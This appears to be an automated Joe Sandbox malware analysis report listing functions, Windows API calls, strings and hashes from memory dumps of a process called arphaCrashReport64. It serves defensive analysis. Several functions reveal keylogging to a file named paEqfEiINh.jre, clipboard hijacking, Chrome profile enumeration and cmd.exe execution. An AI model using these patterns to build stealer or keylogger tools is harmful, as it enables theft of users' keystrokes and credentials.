GetTickCount.KERNEL32 ref: 0000021497F2DC49
GetKeyState.USER32 ref: 0000021497F2DC5A

Strings

\paEqfEiINh.jre, xrefs: 0000021497F2DAD3
<, xrefs: 0000021497F2DC14
paEqfEiINh.jre, xrefs: 0000021497F2DAE3

Memory Dump Source

Source File: 00000003.00000002.3890576932.0000021497F20000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021497F20000, based on PE: true

Associated: 00000003.00000002.3890576932.0000021497F48000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3890576932.0000021498201000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21497f20000_arphaCrashReport64.jbxd

Similarity

API ID: File$CreateMutex$CloseCountDeleteFolderHandleObjectPathReleaseSingleSizeStateTickWaitlstrcat
String ID: <$\paEqfEiINh.jre$paEqfEiINh.jre
API String ID: 2154846255-3527366935
Opcode ID: c90ec30e0ae730cd492638757934f02a9159206527e090b7be205eb521341652
Instruction ID: 7d30e784816e9163562d027829ec96762edb63517184645d53c71d2f5e71812f
Opcode Fuzzy Hash: c90ec30e0ae730cd492638757934f02a9159206527e090b7be205eb521341652
Instruction Fuzzy Hash: 46515C72340A4582FB10EF29E86CBDB3760F7A4B9AF404815DA4E57B68DF79C049CB04

Function 0000021497C47E60 Relevance: 18.3, APIs: 12, Instructions: 290COMMON

Download Yara Rule

APIs

_errno.LIBCMT ref: 0000021497C47E90
_invalid_parameter_noinfo.LIBCMT ref: 0000021497C47E9B
_errno.LIBCMT ref: 0000021497C47EC0
_errno.LIBCMT ref: 0000021497C47EC8
_errno.LIBCMT ref: 0000021497C47EEC

Memory Dump Source

Source File: 00000003.00000002.3890361310.0000021497C30000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021497C30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21497c30000_arphaCrashReport64.jbxd

Similarity

API ID: _errno$_invalid_parameter_noinfo
String ID:
API String ID: 2819658684-0
Opcode ID: 64c961bb79e97a4b0cce1bc1c3f25c2806c8cd024d514268ab867f6b142047a0
Instruction ID: 2815dc540da54e1060196eede488400077eec922d0f6224e493310ec28123f37
Opcode Fuzzy Hash: 64c961bb79e97a4b0cce1bc1c3f25c2806c8cd024d514268ab867f6b142047a0
Instruction Fuzzy Hash: F981C5303A4A894AF768B738444EFFB72C2EBA8352F504D69E44EC31DEDE24D8414B56

Function 0000021497F2DEB0 Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 168stringkeyboardCOMMON

Download Yara Rule

APIs

Part of subcall function 0000021497F2DD70: GetForegroundWindow.USER32 ref: 0000021497F2DD9F
Part of subcall function 0000021497F2DD70: GetWindowTextA.USER32 ref: 0000021497F2DDBC
Part of subcall function 0000021497F2DD70: lstrlen.KERNEL32 ref: 0000021497F2DDF5
Part of subcall function 0000021497F2DD70: GetLocalTime.KERNEL32 ref: 0000021497F2DE04
Part of subcall function 0000021497F2DD70: wsprintfA.USER32 ref: 0000021497F2DE54

GetKeyState.USER32 ref: 0000021497F2DFA5
lstrlen.KERNEL32 ref: 0000021497F2DFFE
lstrlen.KERNEL32 ref: 0000021497F2E01E
lstrlen.KERNEL32 ref: 0000021497F2E046
wsprintfA.USER32 ref: 0000021497F2E06C
wsprintfA.USER32 ref: 0000021497F2E08B
wsprintfA.USER32 ref: 0000021497F2E0BE
lstrlen.KERNEL32 ref: 0000021497F2E105

Part of subcall function 0000021497F2DCA0: WaitForSingleObject.KERNEL32 ref: 0000021497F2DCBC
Part of subcall function 0000021497F2DCA0: CreateFileA.KERNEL32 ref: 0000021497F2DCEE
Part of subcall function 0000021497F2DCA0: SetFilePointer.KERNEL32 ref: 0000021497F2DD13
Part of subcall function 0000021497F2DCA0: lstrlen.KERNEL32 ref: 0000021497F2DD1C
Part of subcall function 0000021497F2DCA0: WriteFile.KERNEL32 ref: 0000021497F2DD39
Part of subcall function 0000021497F2DCA0: CloseHandle.KERNEL32 ref: 0000021497F2DD42
Part of subcall function 0000021497F2DCA0: ReleaseMutex.KERNEL32 ref: 0000021497F2DD54

Strings

%s%s, xrefs: 0000021497F2E05F
[esc], xrefs: 0000021497F2DF06

Memory Dump Source

Source File: 00000003.00000002.3890576932.0000021497F20000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021497F20000, based on PE: true

Associated: 00000003.00000002.3890576932.0000021497F48000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3890576932.0000021498201000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21497f20000_arphaCrashReport64.jbxd

Similarity

API ID: lstrlen$wsprintf$File$Window$CloseCreateForegroundHandleLocalMutexObjectPointerReleaseSingleStateTextTimeWaitWrite
String ID: %s%s$[esc]
API String ID: 3231454590-1031636121
Opcode ID: 95ddf89135496d77df8a34d36fa581a21a90052be2d4c245a83ececa253a15e1
Instruction ID: 8f42dbfbbcf10207efc8e2fbe08c0dc59c0065125f496708e409102a8efa11f3
Opcode Fuzzy Hash: 95ddf89135496d77df8a34d36fa581a21a90052be2d4c245a83ececa253a15e1
Instruction Fuzzy Hash: 7371AE712446458AE720FF25A86CBEB37A1F720B86F640825EB0D676ADDF78C545CF00

Function 0000021497F3A244 Relevance: 17.7, APIs: 5, Strings: 5, Instructions: 159fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

_set_error_mode.LIBCMT ref: 0000021497F3A289
_set_error_mode.LIBCMT ref: 0000021497F3A29A
GetModuleFileNameW.KERNEL32 ref: 0000021497F3A2FC

Part of subcall function 0000021497F35664: GetCurrentProcess.KERNEL32(?,?,?,?,0000021497F35706), ref: 0000021497F3567C

GetStdHandle.KERNEL32 ref: 0000021497F3A411
WriteFile.KERNEL32 ref: 0000021497F3A46E

Strings

Microsoft Visual C++ Runtime Library, xrefs: 0000021497F3A3B5
Runtime Error!Program: , xrefs: 0000021497F3A2C9
..., xrefs: 0000021497F3A34E
ceil, xrefs: 0000021497F3A254
<program name unknown>, xrefs: 0000021497F3A30B

Memory Dump Source

Source File: 00000003.00000002.3890576932.0000021497F20000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021497F20000, based on PE: true

Associated: 00000003.00000002.3890576932.0000021497F48000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3890576932.0000021498201000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21497f20000_arphaCrashReport64.jbxd

Similarity

API ID: File_set_error_mode$CurrentHandleModuleNameProcessWrite
String ID: ...$<program name unknown>$Microsoft Visual C++ Runtime Library$Runtime Error!Program: $ceil
API String ID: 2183313154-2708072404
Opcode ID: e100cb5623a7cfc0df8941c6d10efe82813637f29d3b5093f7d715a41daa83ae
Instruction ID: 78d9507bdbd0f42e44e77f2e4b19de3002367a621717e8bc876b4f756daa70f7
Opcode Fuzzy Hash: e100cb5623a7cfc0df8941c6d10efe82813637f29d3b5093f7d715a41daa83ae
Instruction Fuzzy Hash: 6F51913120468082FA24F726A46EFDB6290FBA5BC5F444915EE5D63A9EDF3EC505CF00

Function 0000021497F24210 Relevance: 16.6, APIs: 11, Instructions: 84clipboardmemoryCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 0000021497F24248
IsClipboardFormatAvailable.USER32 ref: 0000021497F2425B
GetClipboardData.USER32 ref: 0000021497F2426E
GlobalLock.KERNEL32 ref: 0000021497F2427A
GlobalAlloc.KERNEL32 ref: 0000021497F242DB
EmptyClipboard.USER32 ref: 0000021497F242E9
GlobalLock.KERNEL32 ref: 0000021497F242F6
SetClipboardData.USER32 ref: 0000021497F2432D
GlobalUnWire.KERNEL32 ref: 0000021497F24336
GlobalUnWire.KERNEL32 ref: 0000021497F2433F
CloseClipboard.USER32 ref: 0000021497F24358

Memory Dump Source

Source File: 00000003.00000002.3890576932.0000021497F20000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021497F20000, based on PE: true

Associated: 00000003.00000002.3890576932.0000021497F48000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3890576932.0000021498201000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21497f20000_arphaCrashReport64.jbxd

Similarity

API ID: Clipboard$Global$DataLockWire$AllocAvailableCloseEmptyFormatOpen
String ID:
API String ID: 343666531-0
Opcode ID: 032f6467b590239ace3f774c0966278b6b0e2304ab3d8f33c428c8e3e218ee37
Instruction ID: 5994585e17f6004a0153d5bc88bd00e75c17bf8673dddbdcfe8f848b899ba14e
Opcode Fuzzy Hash: 032f6467b590239ace3f774c0966278b6b0e2304ab3d8f33c428c8e3e218ee37
Instruction Fuzzy Hash: 2331863120864082FB24FB14E46C7AB67A0FB95BE5F440615DA6E177EDDF7CC8449B04

Function 0000021497F38808 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 192COMMON

Download Yara Rule

APIs

_errno.LIBCMT ref: 0000021497F3883C
_errno.LIBCMT ref: 0000021497F389D4
_errno.LIBCMT ref: 0000021497F38A20
wcomexecmd.LIBCMT ref: 0000021497F38A3D
free.LIBCMT ref: 0000021497F38A48
_invalid_parameter_noinfo.LIBCMT ref: 0000021497F38847

Part of subcall function 0000021497F35664: GetCurrentProcess.KERNEL32(?,?,?,?,0000021497F35706), ref: 0000021497F3567C

wcomexecmd.LIBCMT ref: 0000021497F3897F
free.LIBCMT ref: 0000021497F38A59

Strings

cmd.exe, xrefs: 0000021497F38817

Memory Dump Source

Source File: 00000003.00000002.3890576932.0000021497F20000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021497F20000, based on PE: true

Associated: 00000003.00000002.3890576932.0000021497F48000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3890576932.0000021498201000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21497f20000_arphaCrashReport64.jbxd

Similarity

API ID: _errno$freewcomexecmd$CurrentProcess_invalid_parameter_noinfo
String ID: cmd.exe
API String ID: 1058736139-723907552
Opcode ID: 0cdefe5e1fc84725cae98ed6f6235c9afdb13a2999a14a73fd17fef3e619f0f1
Instruction ID: 49ae94de8f09d8ce041ec271716160921b8254654ccd15a94b3e2675e7b6cde6
Opcode Fuzzy Hash: 0cdefe5e1fc84725cae98ed6f6235c9afdb13a2999a14a73fd17fef3e619f0f1
Instruction Fuzzy Hash: 6061E63130524581FE24FA265479FEB22816BA5BD6F488D24EE6D67BCEDE3CD4018F18

Function 0000021497F33FA4 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 78COMMON

Download Yara Rule

APIs

Part of subcall function 0000021497F38BB4: _lock.LIBCMT ref: 0000021497F38BDB
Part of subcall function 0000021497F38BB4: _errno.LIBCMT ref: 0000021497F38BEF
Part of subcall function 0000021497F38BB4: _invalid_parameter_noinfo.LIBCMT ref: 0000021497F38BFB

_errno.LIBCMT ref: 0000021497F3402B
_errno.LIBCMT ref: 0000021497F34032
_errno.LIBCMT ref: 0000021497F34052

Part of subcall function 0000021497F35664: GetCurrentProcess.KERNEL32(?,?,?,?,0000021497F35706), ref: 0000021497F3567C

_errno.LIBCMT ref: 0000021497F3405B
_errno.LIBCMT ref: 0000021497F34065
_errno.LIBCMT ref: 0000021497F3406F
free.LIBCMT ref: 0000021497F34095

Strings

cmd.exe, xrefs: 0000021497F34076
COMSPEC, xrefs: 0000021497F33FB9

Memory Dump Source

Source File: 00000003.00000002.3890576932.0000021497F20000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021497F20000, based on PE: true

Associated: 00000003.00000002.3890576932.0000021497F48000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3890576932.0000021498201000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21497f20000_arphaCrashReport64.jbxd

Similarity

API ID: _errno$CurrentProcess_invalid_parameter_noinfo_lockfree
String ID: COMSPEC$cmd.exe
API String ID: 3119157571-2256226045
Opcode ID: f09715194f689949f1efb6568b2bcf0a67113f9d87ab5ee388a1aab6d97633db
Instruction ID: 0c70362da2abd63f7ed94dde1052df7d37923d3b2c7e2a7ecee918a15c547eaa
Opcode Fuzzy Hash: f09715194f689949f1efb6568b2bcf0a67113f9d87ab5ee388a1aab6d97633db
Instruction Fuzzy Hash: DF31B37270070189FB14FFB59469EEF36A0FBA43C5F444921DA5DA7A9ECE38C0548B54

Function 0000021497C432BC Relevance: 15.4, APIs: 10, Instructions: 379COMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 0000021497C432DE
_invalid_parameter_noinfo.LIBCMT ref: 0000021497C432EA
_errno.LIBCMT ref: 0000021497C43314
__tzset.LIBCMT ref: 0000021497C43331
_get_daylight.LIBCMT ref: 0000021497C4333A
_get_daylight.LIBCMT ref: 0000021497C4334B
_get_daylight.LIBCMT ref: 0000021497C4335C
_isindst.LIBCMT ref: 0000021497C433A0
_isindst.LIBCMT ref: 0000021497C433F0
__getgmtimebuf.LIBCMT ref: 0000021497C435EA

Memory Dump Source

Source File: 00000003.00000002.3890361310.0000021497C30000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021497C30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21497c30000_arphaCrashReport64.jbxd

Similarity

API ID: _get_daylight$_errno_isindst$__getgmtimebuf__tzset_invalid_parameter_noinfo
String ID:
API String ID: 1457502553-0
Opcode ID: 80b182fec399e25035d94539b3a052fa9ca79bb0d7bb025d9f5049a9a06a933b
Instruction ID: 617f8fe37f339ded863139582a38071eebc655bc9323164d37fae607b71ae472
Opcode Fuzzy Hash: 80b182fec399e25035d94539b3a052fa9ca79bb0d7bb025d9f5049a9a06a933b
Instruction Fuzzy Hash: FBB19331650A894BEB5CBF38885D7F676D1FBB4306F44857EE80ADA6DAEA34C4418B40

Function 0000021497F374B8 Relevance: 15.3, APIs: 10, Instructions: 292timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

_lock.LIBCMT ref: 0000021497F374E3

Part of subcall function 0000021497F39B98: _amsg_exit.LIBCMT ref: 0000021497F39BC2

_get_daylight.LIBCMT ref: 0000021497F374F9

Part of subcall function 0000021497F38254: _errno.LIBCMT ref: 0000021497F3825D
Part of subcall function 0000021497F38254: _invalid_parameter_noinfo.LIBCMT ref: 0000021497F38268

_get_daylight.LIBCMT ref: 0000021497F3750E

Part of subcall function 0000021497F381F4: _errno.LIBCMT ref: 0000021497F381FD
Part of subcall function 0000021497F381F4: _invalid_parameter_noinfo.LIBCMT ref: 0000021497F38208

_get_daylight.LIBCMT ref: 0000021497F37523

Part of subcall function 0000021497F38224: _errno.LIBCMT ref: 0000021497F3822D
Part of subcall function 0000021497F38224: _invalid_parameter_noinfo.LIBCMT ref: 0000021497F38238

___lc_codepage_func.LIBCMT ref: 0000021497F37530

Part of subcall function 0000021497F3C9F0: _getptd.LIBCMT ref: 0000021497F3C9F4

Part of subcall function 0000021497F38B10: __wtomb_environ.LIBCMT ref: 0000021497F38B40

free.LIBCMT ref: 0000021497F375A1

Part of subcall function 0000021497F33D28: HeapFree.KERNEL32(?,?,00000000,0000021497F34940,?,?,?,0000021497F33209,?,?,?,?,0000021497F43CCA), ref: 0000021497F33D3E
Part of subcall function 0000021497F33D28: _errno.LIBCMT ref: 0000021497F33D48
Part of subcall function 0000021497F33D28: GetLastError.KERNEL32(?,?,00000000,0000021497F34940,?,?,?,0000021497F33209,?,?,?,?,0000021497F43CCA), ref: 0000021497F33D50

free.LIBCMT ref: 0000021497F3760A
GetTimeZoneInformation.KERNEL32(?,?,?,?,?,?,00000032,00000000,00000000,0000021497F37EDE,?,?,?,?,0000021497F3397E), ref: 0000021497F3761D
WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,00000032,00000000,00000000,0000021497F37EDE,?,?,?,?,0000021497F3397E), ref: 0000021497F376D3
WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,00000032,00000000,00000000,0000021497F37EDE,?,?,?,?,0000021497F3397E), ref: 0000021497F37726

Memory Dump Source

Source File: 00000003.00000002.3890576932.0000021497F20000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021497F20000, based on PE: true

Associated: 00000003.00000002.3890576932.0000021497F48000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3890576932.0000021498201000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21497f20000_arphaCrashReport64.jbxd

Similarity

API ID: _errno$_get_daylight_invalid_parameter_noinfo$ByteCharMultiWidefree$ErrorFreeHeapInformationLastTimeZone___lc_codepage_func__wtomb_environ_amsg_exit_getptd_lock
String ID:
API String ID: 2532449802-0
Opcode ID: c1fa7f40eb7c03d34230419b027a93e70f574f0f58e1d6dfd72d0dfeb88afd4a
Instruction ID: c9757457e21e4616240f74cb416a75769728c211deaa01cbb9060436f6cae54d
Opcode Fuzzy Hash: c1fa7f40eb7c03d34230419b027a93e70f574f0f58e1d6dfd72d0dfeb88afd4a
Instruction Fuzzy Hash: 8AC1C07220428086EB60FF25A4A9FDB7B95F7E47C2F444925DA8D6769AEB38C411CF10

Function 0000021497F33904 Relevance: 15.3, APIs: 10, Instructions: 255COMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 0000021497F33926
_invalid_parameter_noinfo.LIBCMT ref: 0000021497F33932
_errno.LIBCMT ref: 0000021497F3395C
__tzset.LIBCMT ref: 0000021497F33979
_get_daylight.LIBCMT ref: 0000021497F33982
_get_daylight.LIBCMT ref: 0000021497F33993
_get_daylight.LIBCMT ref: 0000021497F339A4
_isindst.LIBCMT ref: 0000021497F339E8
_isindst.LIBCMT ref: 0000021497F33A38
__getgmtimebuf.LIBCMT ref: 0000021497F33C32

Memory Dump Source

Source File: 00000003.00000002.3890576932.0000021497F20000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021497F20000, based on PE: true

Associated: 00000003.00000002.3890576932.0000021497F48000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3890576932.0000021498201000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21497f20000_arphaCrashReport64.jbxd

Similarity

API ID: _get_daylight$_errno_isindst$__getgmtimebuf__tzset_invalid_parameter_noinfo
String ID:
API String ID: 1457502553-0
Opcode ID: be87a26379802a4a52173af5778f242a0df836d1e75f94d751b5ea2289455124
Instruction ID: 5217ac21c2c3b7ea3ab0b3f22a04c1f4f1d9de55d8542fa85c2a09fd1ce0fb17
Opcode Fuzzy Hash: be87a26379802a4a52173af5778f242a0df836d1e75f94d751b5ea2289455124
Instruction Fuzzy Hash: 9B91F8B270074687EF58EF35C869BDA7395EB647C9F048425DA0D9BB8EEB38C4058B00

Function 0000021497F2EF20 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 127fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32 ref: 0000021497F2EFF0

Part of subcall function 0000021497F3FA68: std::exception::exception.LIBCMT ref: 0000021497F3FA7B
Part of subcall function 0000021497F3FA68: std::exception::exception.LIBCMT ref: 0000021497F3FAA9

Strings

\AppData\Local\Google\Chrome\User Data\Default, xrefs: 0000021497F2EF23
invalid string position, xrefs: 0000021497F2EF9A
*.*, xrefs: 0000021497F2EFC9

Memory Dump Source

Source File: 00000003.00000002.3890576932.0000021497F20000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021497F20000, based on PE: true

Associated: 00000003.00000002.3890576932.0000021497F48000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3890576932.0000021498201000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21497f20000_arphaCrashReport64.jbxd

Similarity

API ID: std::exception::exception$FileFindFirst
String ID: *.*$\AppData\Local\Google\Chrome\User Data\Default$invalid string position
API String ID: 3164152327-3505193513
Opcode ID: be75264c58c03208dd292bdc0067c706cde63964e549d0ae91b4dabfac3ba795
Instruction ID: c16d3a336c4c65cbd89dc662159cb8042cfee6dd77416ef789d6e5c00d0d7ab5
Opcode Fuzzy Hash: be75264c58c03208dd292bdc0067c706cde63964e549d0ae91b4dabfac3ba795
Instruction Fuzzy Hash: B8516432214A4081EA10FB24E46CBDF63A1F7A57EAF501A16EB5D67AEDDF38C545CB00

Function 0000021497F42ADC Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 288COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0000021497F33334: _getptd.LIBCMT ref: 0000021497F33346

_errno.LIBCMT ref: 0000021497F42B2C
_invalid_parameter_noinfo.LIBCMT ref: 0000021497F42B36
_errno.LIBCMT ref: 0000021497F42B58
_invalid_parameter_noinfo.LIBCMT ref: 0000021497F42B64
_errno.LIBCMT ref: 0000021497F42B8C
_cftoe_l.LIBCMT ref: 0000021497F42BD0

Strings

gfffffff, xrefs: 0000021497F42E5B

Memory Dump Source

Source File: 00000003.00000002.3890576932.0000021497F20000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021497F20000, based on PE: true

Associated: 00000003.00000002.3890576932.0000021497F48000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3890576932.0000021498201000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21497f20000_arphaCrashReport64.jbxd

Similarity

API ID: _errno$_invalid_parameter_noinfo$_cftoe_l_getptd
String ID: gfffffff
API String ID: 1282097019-1523873471
Opcode ID: 5ae6ad1b3ce903b755c2ece2f71ad84805c3b8c7d7631cbc5e7561ea6abc8e18
Instruction ID: 1da0046d4af524b21b813cf374122ea7e2e725a3856e72673be19658c943d5c0
Opcode Fuzzy Hash: 5ae6ad1b3ce903b755c2ece2f71ad84805c3b8c7d7631cbc5e7561ea6abc8e18
Instruction Fuzzy Hash: 26B162737403888BFF11DB29856CBEE6BA5E7257A5F048A31CB5D177DAEA388414CB00

Function 0000021497F35518 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 80COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 0000021497F35585
RtlLookupFunctionEntry.KERNEL32 ref: 0000021497F3559D
RtlVirtualUnwind.KERNEL32 ref: 0000021497F355D7
IsDebuggerPresent.KERNEL32 ref: 0000021497F3560D
SetUnhandledExceptionFilter.KERNEL32 ref: 0000021497F35617
UnhandledExceptionFilter.KERNEL32 ref: 0000021497F35622

Strings

ceil, xrefs: 0000021497F35524

Memory Dump Source

Source File: 00000003.00000002.3890576932.0000021497F20000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021497F20000, based on PE: true

Associated: 00000003.00000002.3890576932.0000021497F48000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3890576932.0000021498201000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21497f20000_arphaCrashReport64.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID: ceil
API String ID: 1239891234-3069211559
Opcode ID: 66ac2fbe91f68a041350f3fc75b90513e980b9dbad4e79f1f9fa877e40f81b0e
Instruction ID: 1f3024345841a25b42270053f9dcb67ce56bee808b1467622c54158024b09e3b
Opcode Fuzzy Hash: 66ac2fbe91f68a041350f3fc75b90513e980b9dbad4e79f1f9fa877e40f81b0e
Instruction Fuzzy Hash: 81317032204B8086EB60EF25E868BEF73A4F7A4799F500516EA9D53B99DF38C545CF00

Function 0000021497C481C0 Relevance: 12.3, APIs: 8, Instructions: 289COMMON

Download Yara Rule

APIs

_errno.LIBCMT ref: 0000021497C481F4
_invalid_parameter_noinfo.LIBCMT ref: 0000021497C481FF
wcomexecmd.LIBCMT ref: 0000021497C48337

Memory Dump Source

Source File: 00000003.00000002.3890361310.0000021497C30000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021497C30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21497c30000_arphaCrashReport64.jbxd

Similarity

API ID: _errno_invalid_parameter_noinfowcomexecmd
String ID:
API String ID: 1728837525-0
Opcode ID: 1ecebbeb37ace30139545a725b505b88b7ff7d913080444dcc587744223f7780
Instruction ID: e377592f76f1a32480edc82fc18d98d1a8eb7ab565ad060dd028cb08a3e2a95d
Opcode Fuzzy Hash: 1ecebbeb37ace30139545a725b505b88b7ff7d913080444dcc587744223f7780
Instruction Fuzzy Hash: 9681FA30354E894FF768FB28441EBFB72D1EBA5342F414A29955ED32DAEE20D8014B86

Function 0000021497F32C00 Relevance: 12.1, APIs: 8, Instructions: 67COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32(0000021497F2AC7C), ref: 0000021497F34567
RtlLookupFunctionEntry.KERNEL32 ref: 0000021497F34586
RtlVirtualUnwind.KERNEL32 ref: 0000021497F345D2
IsDebuggerPresent.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,0000021497F3564B), ref: 0000021497F34644
SetUnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,0000021497F3564B), ref: 0000021497F3465C
UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,0000021497F3564B), ref: 0000021497F34669
GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,0000021497F3564B), ref: 0000021497F34682
TerminateProcess.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,0000021497F3564B), ref: 0000021497F34690

Memory Dump Source

Source File: 00000003.00000002.3890576932.0000021497F20000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021497F20000, based on PE: true

Associated: 00000003.00000002.3890576932.0000021497F48000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3890576932.0000021498201000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21497f20000_arphaCrashReport64.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CaptureContextCurrentDebuggerEntryFunctionLookupPresentTerminateUnwindVirtual
String ID:
API String ID: 3778485334-0
Opcode ID: e3b3019c4e1a7badf9853d60fceb95a9add7947f81aaf153f24320ccf22126c7
Instruction ID: 74d59a7e1dd00e4d433d069064b2894788971faa692c442896c561431485a18a
Opcode Fuzzy Hash: e3b3019c4e1a7badf9853d60fceb95a9add7947f81aaf153f24320ccf22126c7
Instruction Fuzzy Hash: 40311775248B44C6EB50EB55F8697EB73A0F7A8795F500826EA8D577A9DF3CC044CB00

Function 0000021497F34565 Relevance: 12.1, APIs: 8, Instructions: 52COMMON

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32(0000021497F2AC7C), ref: 0000021497F34567
RtlLookupFunctionEntry.KERNEL32 ref: 0000021497F34586
RtlVirtualUnwind.KERNEL32 ref: 0000021497F345D2
IsDebuggerPresent.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,0000021497F3564B), ref: 0000021497F34644
SetUnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,0000021497F3564B), ref: 0000021497F3465C
UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,0000021497F3564B), ref: 0000021497F34669
GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,0000021497F3564B), ref: 0000021497F34682
TerminateProcess.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,0000021497F3564B), ref: 0000021497F34690

Memory Dump Source

Source File: 00000003.00000002.3890576932.0000021497F20000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021497F20000, based on PE: true

Associated: 00000003.00000002.3890576932.0000021497F48000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3890576932.0000021498201000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21497f20000_arphaCrashReport64.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CaptureContextCurrentDebuggerEntryFunctionLookupPresentTerminateUnwindVirtual
String ID:
API String ID: 3778485334-0
Opcode ID: a3f95b96577147f573111d4e9550727bed5d12e695e8ac549579d4f579014c10
Instruction ID: a3356e51a95db4dd5077fd99b44a0b8482984badc3ce5ef9a7b5072d37b11be3
Opcode Fuzzy Hash: a3f95b96577147f573111d4e9550727bed5d12e695e8ac549579d4f579014c10
Instruction Fuzzy Hash: 0F312775148B44CAE740EB55F46D7AB73A0F7A8795F000926EA8D57769DF7CC044CB04

Function 0000021497C46E70 Relevance: 10.9, APIs: 7, Instructions: 423COMMONLIBRARYCODE

Download Yara Rule

APIs

_lock.LIBCMT ref: 0000021497C46E9B
_get_daylight.LIBCMT ref: 0000021497C46EB1

Part of subcall function 0000021497C47C0C: _errno.LIBCMT ref: 0000021497C47C15
Part of subcall function 0000021497C47C0C: _invalid_parameter_noinfo.LIBCMT ref: 0000021497C47C20

_get_daylight.LIBCMT ref: 0000021497C46EC6

Part of subcall function 0000021497C47BAC: _errno.LIBCMT ref: 0000021497C47BB5
Part of subcall function 0000021497C47BAC: _invalid_parameter_noinfo.LIBCMT ref: 0000021497C47BC0

_get_daylight.LIBCMT ref: 0000021497C46EDB

